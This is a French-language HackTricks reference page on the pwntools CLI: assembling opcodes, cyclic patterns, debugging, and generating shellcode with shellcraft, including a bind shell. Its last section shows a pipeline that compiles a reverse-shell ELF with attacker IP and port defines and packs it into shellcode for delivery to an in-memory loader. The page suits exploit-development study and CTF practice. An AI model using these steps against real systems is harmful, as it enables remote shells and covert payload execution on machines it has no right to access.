PwnTools

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks
pip3 install pwntools

Pwn asm

Obtenir les opcodes d'une ligne ou d'un fichier.

pwn asm "jmp esp"
pwn asm -i <filepath>

Peut sélectionner :

  • output type (raw,hex,string,elf)
  • output file context (16,32,64,linux,windows...)
  • avoid bytes (new lines, null, a list)
  • sĂ©lectionner encoder/debug shellcode et utiliser gdb pour exĂ©cuter la sortie

Pwn checksec

Script Checksec

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

Obtenir un pattern

pwn cyclic 3000
pwn cyclic -l faad

Peut sélectionner :

  • L'alphabet utilisĂ© (caractĂšres minuscules par dĂ©faut)
  • Longueur du motif unique (par dĂ©faut 4)
  • contexte (16,32,64,linux,windows...)
  • RĂ©cupĂ©rer l'offset (-l)

Pwn debug

Attacher GDB Ă  un processus

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

Peut sélectionner :

  • Par executable, par name ou par pid context (16,32,64,linux,windows...)
  • gdbscript Ă  exĂ©cuter
  • sysrootpath

Pwn disablenx

Désactiver nx d'un binaire

pwn disablenx <filepath>

Pwn disasm

Désassembler des hex opcodes

pwn disasm ffe4

Peut sélectionner :

  • context (16,32,64,linux,windows...)
  • adresse de base
  • couleur (par dĂ©faut)/sans couleur

Pwn elfdiff

Afficher les différences entre 2 fichiers

pwn elfdiff <file1> <file2>

Pwn hex

Obtenir la représentation hexadécimale

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

Obtenir hexdump

pwn phd <file>

Peut sélectionner :

  • Nombre de bytes Ă  afficher
  • Nombre de bytes par ligne — byte en surbrillance
  • Ignorer les bytes au dĂ©but

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

Obtenir shellcodes

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

Peut sélectionner :

  • shellcode et les arguments pour le shellcode
  • Fichier de sortie
  • format de sortie
  • debug (attacher dbg au shellcode)
  • before (debug trap avant le code)
  • after
  • Ă©viter d'utiliser les opcodes (par dĂ©faut : pas de null et new line)
  • ExĂ©cuter le shellcode
  • Couleur / pas de couleur
  • lister les syscalls
  • lister les shellcodes possibles
  • GĂ©nĂ©rer un ELF en tant que bibliothĂšque partagĂ©e

Pwn template

Obtenir un template python

pwn template

Peut sélectionner : host, port, user, pass, path et quiet

Pwn unhex

De hex Ă  string

pwn unhex 686f6c61

Pwn update

Pour mettre Ă  jour pwntools

pwn update

ELF → raw shellcode packaging (loader_append)

Pwntools peut convertir un ELF autonome en un seul blob de raw shellcode qui mappe lui‑mĂȘme ses segments et transfĂšre l'exĂ©cution vers l'entrypoint original. Ceci est idĂ©al pour les loaders en mĂ©moire uniquement (par ex. applications Android invoquant JNI pour exĂ©cuter des bytes tĂ©lĂ©chargĂ©s).

Typical pipeline (amd64 example)

  1. Construire un ELF payload statique et position‑indĂ©pendant (musl recommandĂ© pour la portabilitĂ©):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. Convertir ELF → shellcode avec pwntools:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. Livrer le sc Ă  un memory loader (p. ex., via HTTP[S]) et exĂ©cuter in‑process.

Remarques

  • loader_append intĂšgre le programme ELF original dans le shellcode et Ă©met un petit loader qui mmaps les segments et saute Ă  l'entry.
  • Soyez explicite sur l'architecture via context.clear(arch=...). arm64 est courant sur Android.
  • Conservez le code de votre payload position‑independent et Ă©vitez de faire des hypothĂšses sur l'ASLR/NX du processus.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks